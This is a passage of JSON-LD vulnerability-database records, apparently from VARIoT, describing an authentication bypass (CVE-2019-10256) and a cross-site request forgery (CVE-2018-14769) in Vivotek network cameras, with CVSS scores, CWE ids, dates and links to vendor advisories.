"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201909-1474",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "camera",
"scope": "eq",
"trust": 1.0,
"vendor": "vivotek",
"version": null
},
{
"model": "camera",
"scope": "lt",
"trust": 0.8,
"vendor": "vivotek",
"version": "0x13a"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2019-009357"
},
{
"db": "NVD",
"id": "CVE-2019-10256"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/h:vivotek:camera",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2019-009357"
}
]
},
"cve": "CVE-2019-10256",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CVE-2019-10256",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 1.8,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "VHN-141784",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2019-10256",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 9.8,
"baseSeverity": "Critical",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2019-10256",
"impactScore": null,
"integrityImpact": "High",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2019-10256",
"trust": 1.0,
"value": "CRITICAL"
},
{
"author": "NVD",
"id": "CVE-2019-10256",
"trust": 0.8,
"value": "Critical"
},
{
"author": "CNNVD",
"id": "CNNVD-201909-458",
"trust": 0.6,
"value": "CRITICAL"
},
{
"author": "VULHUB",
"id": "VHN-141784",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-141784"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-009357"
},
{
"db": "CNNVD",
"id": "CNNVD-201909-458"
},
{
"db": "NVD",
"id": "CVE-2019-10256"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An authentication bypass vulnerability in VIVOTEK IPCam versions prior to 0x13a was found. VIVOTEK IPCam Contains an authentication vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Vivotek VIVOTEK IPCam is a network camera produced by Taiwan Vivotek Corporation. This vulnerability stems from the lack of authentication measures or insufficient authentication strength in network systems or products",
"sources": [
{
"db": "NVD",
"id": "CVE-2019-10256"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-009357"
},
{
"db": "VULHUB",
"id": "VHN-141784"
}
],
"trust": 1.71
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2019-10256",
"trust": 2.5
},
{
"db": "JVNDB",
"id": "JVNDB-2019-009357",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201909-458",
"trust": 0.7
},
{
"db": "VULHUB",
"id": "VHN-141784",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-141784"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-009357"
},
{
"db": "CNNVD",
"id": "CNNVD-201909-458"
},
{
"db": "NVD",
"id": "CVE-2019-10256"
}
]
},
"id": "VAR-201909-1474",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-141784"
}
],
"trust": 0.9783784
},
"last_update_date": "2024-11-23T22:44:49.698000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Cybersecurity Management Solution",
"trust": 0.8,
"url": "https://www.vivotek.com/cybersecurity"
},
{
"title": "VVTK\u2212SA-2019-001",
"trust": 0.8,
"url": "http://download.vivotek.com/downloadfile/support/cyber-security/vvtk-sa-2019-001-v1.pdf"
},
{
"title": "VIVOTEK IPCam Security vulnerabilities",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=98051"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2019-009357"
},
{
"db": "CNNVD",
"id": "CNNVD-201909-458"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "NVD-CWE-noinfo",
"trust": 1.0
},
{
"problemtype": "CWE-287",
"trust": 0.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-141784"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-009357"
},
{
"db": "NVD",
"id": "CVE-2019-10256"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 1.7,
"url": "http://download.vivotek.com/downloadfile/support/cyber-security/vvtk-sa-2019-001-v1.pdf"
},
{
"trust": 1.7,
"url": "https://www.vivotek.com/cybersecurity"
},
{
"trust": 1.4,
"url": "https://nvd.nist.gov/vuln/detail/cve-2019-10256"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2019-10256"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-141784"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-009357"
},
{
"db": "CNNVD",
"id": "CNNVD-201909-458"
},
{
"db": "NVD",
"id": "CVE-2019-10256"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-141784"
},
{
"db": "JVNDB",
"id": "JVNDB-2019-009357"
},
{
"db": "CNNVD",
"id": "CNNVD-201909-458"
},
{
"db": "NVD",
"id": "CVE-2019-10256"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2019-09-10T00:00:00",
"db": "VULHUB",
"id": "VHN-141784"
},
{
"date": "2019-09-18T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2019-009357"
},
{
"date": "2019-09-10T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201909-458"
},
{
"date": "2019-09-10T19:15:10.233000",
"db": "NVD",
"id": "CVE-2019-10256"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2020-08-24T00:00:00",
"db": "VULHUB",
"id": "VHN-141784"
},
{
"date": "2019-09-18T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2019-009357"
},
{
"date": "2020-08-25T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201909-458"
},
{
"date": "2024-11-21T04:18:45.547000",
"db": "NVD",
"id": "CVE-2019-10256"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201909-458"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "VIVOTEK IPCam Authentication vulnerability",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2019-009357"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "authorization issue",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201909-458"
}
],
"trust": 0.6
}
}
VAR-201809-0168
Vulnerability from variot - Updated: 2024-11-23 22:41VIVOTEK FD8177 The device contains a cross-site request forgery vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. VIVOTEK FD8177 is a network camera product of Vivotek. There is a cross-site request forgery vulnerability in VIVOTEK FD8177 devices prior to XXXXXX-VVTK-xx06a. A remote attacker can exploit this vulnerability to hijack cgi commands
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201809-0168",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "camera",
"scope": "eq",
"trust": 1.6,
"vendor": "vivotek",
"version": null
},
{
"model": "camera",
"scope": null,
"trust": 0.8,
"vendor": "vivotek",
"version": null
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-010297"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-209"
},
{
"db": "NVD",
"id": "CVE-2018-14769"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/h:vivotek:camera",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-010297"
}
]
},
"cve": "CVE-2018-14769",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "CVE-2018-14769",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 1.8,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "VHN-124961",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:M/AU:N/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 2.8,
"id": "CVE-2018-14769",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2018-14769",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2018-14769",
"trust": 0.8,
"value": "High"
},
{
"author": "CNNVD",
"id": "CNNVD-201809-209",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "VULHUB",
"id": "VHN-124961",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-124961"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010297"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-209"
},
{
"db": "NVD",
"id": "CVE-2018-14769"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "VIVOTEK FD8177 The device contains a cross-site request forgery vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. VIVOTEK FD8177 is a network camera product of Vivotek. There is a cross-site request forgery vulnerability in VIVOTEK FD8177 devices prior to XXXXXX-VVTK-xx06a. A remote attacker can exploit this vulnerability to hijack cgi commands",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-010297"
},
{
"db": "VULHUB",
"id": "VHN-124961"
}
],
"trust": 0.81
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2018-14769",
"trust": 2.5
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010297",
"trust": 0.8
},
{
"db": "CNNVD",
"id": "CNNVD-201809-209",
"trust": 0.7
},
{
"db": "VULHUB",
"id": "VHN-124961",
"trust": 0.1
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-124961"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010297"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-209"
},
{
"db": "NVD",
"id": "CVE-2018-14769"
}
]
},
"id": "VAR-201809-0168",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "VULHUB",
"id": "VHN-124961"
}
],
"trust": 0.9783784
},
"last_update_date": "2024-11-23T22:41:41.686000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "VVTK-SA-2018-004",
"trust": 0.8,
"url": "http://download.vivotek.com/downloadfile/support/cyber-security/vvtk-sa-2018-004-v1.pdf"
},
{
"title": "Cybersecurity",
"trust": 0.8,
"url": "https://www.vivotek.com/website/support/cybersecurity"
},
{
"title": "VIVOTEK FD8177 Fixes for cross-site request forgery vulnerabilities",
"trust": 0.6,
"url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=84545"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-010297"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-209"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-352",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-124961"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010297"
},
{
"db": "NVD",
"id": "CVE-2018-14769"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 1.7,
"url": "http://download.vivotek.com/downloadfile/support/cyber-security/vvtk-sa-2018-004-v1.pdf"
},
{
"trust": 1.7,
"url": "https://www.vivotek.com/website/support/cybersecurity"
},
{
"trust": 0.8,
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2018-14769"
},
{
"trust": 0.8,
"url": "https://nvd.nist.gov/vuln/detail/cve-2018-14769"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-124961"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010297"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-209"
},
{
"db": "NVD",
"id": "CVE-2018-14769"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "VULHUB",
"id": "VHN-124961"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-010297"
},
{
"db": "CNNVD",
"id": "CNNVD-201809-209"
},
{
"db": "NVD",
"id": "CVE-2018-14769"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2018-09-05T00:00:00",
"db": "VULHUB",
"id": "VHN-124961"
},
{
"date": "2018-12-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-010297"
},
{
"date": "2018-09-06T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201809-209"
},
{
"date": "2018-09-05T21:29:00.657000",
"db": "NVD",
"id": "CVE-2018-14769"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2018-11-13T00:00:00",
"db": "VULHUB",
"id": "VHN-124961"
},
{
"date": "2018-12-11T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2018-010297"
},
{
"date": "2018-09-06T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201809-209"
},
{
"date": "2024-11-21T03:49:44.913000",
"db": "NVD",
"id": "CVE-2018-14769"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201809-209"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "VIVOTEK FD8177 Device cross-site request forgery vulnerability",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-010297"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "cross-site request forgery",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201809-209"
}
],
"trust": 0.6
}
}